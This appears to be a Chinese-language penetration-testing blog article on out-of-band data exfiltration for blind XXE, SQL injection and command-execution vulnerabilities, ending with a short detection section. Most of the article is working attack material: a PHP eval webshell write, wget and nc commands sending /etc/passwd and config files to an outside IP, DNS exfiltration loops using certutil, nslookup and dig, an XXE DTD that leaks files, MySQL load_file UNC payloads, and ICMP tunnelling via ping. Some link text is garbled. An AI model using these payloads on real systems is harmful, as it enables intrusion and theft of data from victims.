帶外通道技術(OOB)總結

在滲透中,經常碰到關閉回顯的漏洞,常見的XXE盲注,SQL盲注,反序列號無回顯,這個時候常用到OOB帶外數據通道,帶外通道技術(OOB)讓攻擊者能夠通過另一種方式來確認和利用所謂的盲目(blind)的漏洞。在這種盲目的漏洞中,攻擊者無法通過惡意請求直接在響應包中看到漏洞的輸出結果。帶外通道技術通常需要脆弱的實體來生成帶外的TCP/UDP/ICMP請求,然後,攻擊者可以通過這個請求來提取數據。一次OOB攻擊能夠成功逃避監控,繞過防火牆且能更好的隱藏自己。

本文的中心是在各種無回顯的漏洞環境中使用帶外通道技術將其傳輸的一個總結。

一、可回顯

OWASP TOP 10

注入

對於可回顯的注入利用基於聯合查詢、報錯、盲注直接利用!

帶外通道(OOB)總結

xxe

可回顯的xxe直接引用DTD外部實體聲明,常見利用方式:讀取任意文件、執行系統命令、探測內網端口和攻擊內網網站

帶外通道(OOB)總結

命令執行&代碼執行

代碼執行

常見相關函數:PHP:eval、preg_replace + /e模式、assertJavascript:evalVbscript: Execute、EvalPython:exec

直接寫入webshell可直接被中間件解析的腳本帶外通道(OOB)總結

命令執行

A. windows

1. 信息收集net view #獲取當前組的計算機名net view /domain #查看所有域net user #若如struts等給的權限高用administrator,直接可添加帳號,管理員組,隱藏克隆帳號等操作,如struts2漏洞大多數爲adminisrator權限參考文獻:橫向滲透

2. 讀取文件dir /s/a-d/b d:*.php #查找所有php文件位置

3. 文件寫入& echo ^<^?php @eval^(^$^_POST[value]^)^;?^>^' > "D:\phpStudy\PHPTutorial\WWW\shell.php"<>等特殊符號在cmd下需要轉碼 而且寫入文件不可帶有<>:等特殊字符

4. msf等後門

帶外通道(OOB)總結

B. linux

1. 常見函數:system、exec、assert、shell_exec、passthru、popen、proc_popen、escapeshellcmd、pcntl_exec

2. 特殊符號:|、&、&&、||、;、',",(),{},[],輸入輸出/重定向,通配符

3. 敏感數據獲取echo PD9waHAgcGhwaW5mbygpOz8+ | base64 -d >shell.php #PD9waHAgcGhwaW5mbygpOz+是<?php phpinfo();?>base64編碼 linux文件名不能帶有/(斜槓)

4. DNS等持續性後門

二、無回顯OOB(out of band)

倘若在發現這些漏洞的時候,無回顯,這時OOB就登場了,常見的方式是HTTP、ICMP、DNS,ICMP隧道一般會進行防禦,TCP在甲方中會有嚴格的防火牆控制端口,HTTP在甲方中一般也會有嚴格且完整的監控和阻斷機制,DNS隧道在當前環境下,由於需要解析,不會對其進行攔截

HTTP

使用前提:無法回顯但能出網時使用

Window內置

 

explorer帶外通道(OOB)總結

 

查詢文件位置web歷史記錄 會打開目標瀏覽器,不建議使用,且內容過多,循環導致瀏覽器卡死

 

帶外通道(OOB)總結

 

telnet 模擬HTTP請求需強大的交互性

 

CurlCurl 默認不自帶,需解壓添加環境變量或安裝curl –T {path to file} ftp://xxx.xxx.xxx.xxx –user {username}:{password}-T通過put方式上傳與層地址

 

Wgetwget指定header頭查看日誌回顯 wget -d --header="User-Agent: $(cat /etc/passwd|tail -n 1)" [[[[[http://120.79.206.249/1.php]帶外通道(OOB)總結wget --header="User-Agent: $(cat /etc/passwd | xargs echo –n)" 

 

發送post請求,並接受post數據wget --post-data exfil=’cat /etc/passwd’ [[[[[http://120.79.206.249](http://120.79.206.249)]

 

powershell這裏用的是dnslog原理ipconfig > temp && certutil -f -encodehex temp output.hex 12 && set /p MYVAR=<output.hex && set FINAL="[[[[[http://dnslog:9000/!MYVAR!](http://dnslog:9000/!MYVAR!)]&& powershell Invoke-WebRequest !FINAL!"

 

nc系統可能無nc,且nc被監控的可能性較大nc -w 1000 120.79.206.249 < config.php``nc -l 1234 > config.php

 

dnslog

帶外通道(OOB)總結根據原理只需要搭建一個上圖中scholar域DNS 服務器,並將要盲打或盲注的回顯,放到自己域名的二級甚至三級域名上去請求,就可以通過DNS解析日誌來獲取到它們。其本質就是利用FQDN想域服務器解析爲iP地址被記錄的過程

DNSlog搭建

在線平臺ceye.io

在線平臺TOOLS

SQL盲注

 

不論是bool型盲注還是時間型盲注,都需要頻繁的跑請求才能夠獲取數據庫中的值,在WAF的防護下,很可能導致IP被ban。我們可以結合DNSLOG完美快速的將數據取出。如遇到MySql的盲注時,可以利用內置函數load_file()來完成DNSLOG。load_file()不僅能夠加載本地文件,同時也能對諸如www.test.com](http://www.test.com)這樣的URL發起請求。這樣的URL發起請求。](http://www.test.com)這樣的URL發起請求。這樣的URL發起請求。)))

 

帶外通道(OOB)總結如下圖payload,Load_file加載文件’\’,是對“\”的轉義,最終加載的文件是\5.5.53.jf4ef7.ceye.io,load_file讀取文件和windows讀取文件調用的都是c的fopen()函數,而雙斜槓表示網絡資源路徑,即UNC路徑,於是發起了dns請求

帶外通道(OOB)總結帶外通道(OOB)總結

MYSQL dnslog條件:

secure_file_priv =""可以讀取磁盤目錄

secure_file_priv = G|\可以讀取G盤文件

secure_file_priv = null load_file限制,不能加載文件在mysql 5.5.34 默認爲空可以加載文件,之後的版本爲NULL,不能加載文件

XXE

其原理是通過DTD文檔引入外部DTD文檔,再引入外部實體聲明

運行python HTTP 服務器來存放dtd文件python -m SimpleHttpServer 9000寫入dtd文件,dtd文件內容如下:

<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://ip:9000/%data;'>">

加載外部實體,xml內容如下:

<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://ip:9000/linux.dtd">
%sp;
%param1;
]>
<r>&exfil;</r>

Windows

(1) 測試

ping %USERNAME%.jf4ef7.ceye.io

帶外通道(OOB)總結

(2. )利用漏洞進行數據提取cmd /v /c "hostname > temp && certutil -encode temp temp2 && findstr /L /V "CERTIFICATE" temp2 > temp3 && set /p MYVAR=<temp3 && set FINAL=!MYVAR!.jf4ef7.ceye.io && nslookup !FINAL!"對cmd命令進行base64編碼通過findstr -v查找不包含certificate的行提取base64編碼後值進行dns解析傳輸

帶外通道(OOB)總結

對獲取的數據進行base64解密帶外通道(OOB)總結參考文獻:certutil在滲透中的使用

certutilbase64編碼後的值 帶外通道(OOB)總結(3.)大文件或者多行數據傳輸ipconfig > test && certutil -encodehex -f test test.hex 4 && powershell $text=Get-Content test.hex;$sub=$text -replace(' ','');$j=11111;foreach($i in $sub){ $fin=$j.tostring()+'.'+$i+'.jf4ef7.ceye.io';$j += 1; nslookup $fin }使用十六進制對命令編碼,Get-Content讀取文件替換十六進制後爲空的字符串,循環發送,並用11111標記標記循環的次數解析發送數據 帶外通道(OOB)總結對獲取的進行解碼

 import json
def data():
    file_name=open('data.json',"r")
    file_json=(file_name.read())
    file=json.loads(file_json)
   # print(file)
    #print(len(file))
   # print(file[1])
    for i in range(1,len(file)):
        a=file[i]['name'].split('.')[1].replace('\n', ").replace('\n', ")
        a+=a
        print(a)
    file_name.close()

if __name__=="__main__":
data()

Linux

(1.) 測試

ping whoami.jf4ef7.ceye.io 需要注意的是這命令外不是單引號,同樣nsloopup/dig也可以執行

帶外通道(OOB)總結

(2.) 傳輸多行命令var=11111 && for b in $(ifconfig|xxd -p ); do var=$((var+1)) && dig $var.$b. jf4ef7.ceye.io; done使用xxd -p對執行的命令輸出16進制編碼,循環解析 帶外通道(OOB)總結

與十六進制相比,base64編碼的文件更小var=11111 && for i in $(ifconfig|base64|awk '{gsub(/.{50}/,"&\n")}1'); do var=$((var+1)) && nslookup $var.$i. jf4ef7.ceye.io; done 帶外通道(OOB)總結

ICMP 帶外通道(OOB)總結

類型: 0表示請求,8表示響應 代碼:代碼0表示超時與類型字段一起共同標識了ICMP報文的詳細類型 檢驗和:對包括ICMP報文數據部分在內的整個ICMP數據報的校驗和 標識:標識本ICMP進程,請求、應答和超時不可達能 序列號:從0開始,每發送一次新的回顯請求加1 選項數據:選項數據字段是可以存放任何數據的,長度的話 理論上 ICMP 包外的 IP 包長度不超過 MTU 即可,但是實際上傳不了那麼大。

其中0~31是各種協議頭部,那剩下的就是data了!原本默認ping傳輸的是:windows系統,默認傳輸32bytes,內容是abcdefghijklmnopqrstuvwabcdefghi,共32bytes帶外通道(OOB)總結

Linux默認data傳輸的是48bytes,在date之前多了個Timestamp from icmp data頭, 帶外通道(OOB)總結

%%%%,4個%在0~f間變化,發送和返回相同,不同發送返回不同,佔用兩個字節 090000000000,前兩位%%在變動,同一次ping操作,無論發送接收多少包,此數值不變,下一次ping則此值會變動,佔用6個字節 101112131415161718191a1b1c1d1e1f20(規律是從10開始的16進制遞增,一直到20),佔用17bytes !”#$%&’()+,-./01234567,佔用23bytes,此值爲固定值

當兩臺主機,允許相互ping,即icmp通信,其他的tcp/udp端口無法通信,可以考慮利用icmp隧道,改變data填充我們自己想要的數據

Windowscmd /v /c "ipconfig > output.txt && powershell $text=Get-Content output.txt;$ICMPClient = New-Object System.Net.NetworkInformation.Ping;$PingOptions = New-Object System.Net.NetworkInformation.PingOptions;$PingOptions.DontFragment = $True;$sendbytes = ([text.encoding]::ASCII).GetBytes($text);$ICMPClient.Send('ip/dns',60 * 1000, $sendbytes, $PingOptions);

System.Net.NetworkInformation:提供對網絡流量數據、網絡地址信息和本地計算機的地址更改通知的訪問

Ping :類允許應用程序確定是否可通過網絡訪問遠程計算機

PingOptions:用於控制如何傳輸 Ping 數據包。屬性DontFragment如果不能在多個數據包中發送數據,則爲 true;否則爲 false。 默認值爲 false,用來發送大量數據,

Ping.send:Send (IPAddress, timeout, buffer);buffer爲一個byte數組,包含了要與icmp會送消息一起發送並在icmp回送應答消息種返回的數據,不能超過65500字節

帶外通道(OOB)總結

tcpdump 'icmp and src host 192.168.1.130' -w powericmp.pcap 帶外通道(OOB)總結

LINUX

cat /etc/passwd | xxd -p -c 16 | while read exfil; do ping -p $exfil -c 1 192.168.1.1;donexxd將內容轉換成16進制,while循環讀取賦值給exfil,進行ping,-p指定填充ping數據包的十六進制內容

帶外通道(OOB)總結

圖形化Wiresherk數據提取不是很友好

tcpdump 'icmp and src host 192.168.1.130' -w icmp.pcap
echo "0x$(tshark -n -q -r icmp.pcap -T fields -e data.data | tr -d '\n' | tr -d ':')" | xxd -r -p

-n: 禁止網絡對象名稱解析
-q: 只在結束捕獲時輸出數據,針對於統計類的命令非常有用
-R: 抓包後過濾,-f:-R: 抓包前過濾
-T test:格式化輸出,格式爲test,若是fields,-e可指定輸出哪些字段,

帶外通道(OOB)總結

檢測和防禦

dnslog檢測

 

載荷分析和流量監控載荷分析:把主機名超過50個字符的 DNS 請求作爲識別 DNS 隧道的特徵.(正常的域名滿足 Zipf 定律,而走 DNS 隧道的域名遵循的是隨機分佈)

 

流量監測檢測網絡中的 DNS 流量變化情況,通過檢測單位時間內 DNS 報文流速率來檢測是否存在DNS隧道,利用檢測 txt 類型的 DNS 報文來發現僵屍網絡的通信情況。Dns隧道通信一般常用的編碼方式 Base64、Binary、Hex 編碼等,請求的 Type 一般爲 txt(爲了返回的時候能夠加入更多的信息)payload 部分一般爲子域名帶外通道(OOB)總結

 

基於IOC情報導入IOC情報,對請求惡意IOC的訪問進行監控###ICMP只需要禁止ping就可以完全屏蔽此類隱蔽隧道風險,但如果要考慮用戶體驗,可以解析包體了,然後做否定判定,若ping的data不是標準的windows、linux的data包體(標準大包爲合法)內容,則判定非法,報警攔截。

 

HTTP

 

注入kibana目前未提供cookieuri:"select" OR uri:"load_file" OR data:"select" OR data:"load_file" OR cookie:"select"

 

xxe任意文件讀取data:("xml version" AND entity AND system AND "file")系統命令執行data:("xml version" AND entity AND system AND expect)端口探測data:("xml version" AND entity AND system AND http)

 

參考文獻:

https://github.com/beefproject/beef/wiki/Installation

https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/

https://www.youtube.com/watch?v=COVtU5G0Iys

https://github.com/Arno0x/DNSExfiltrator

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章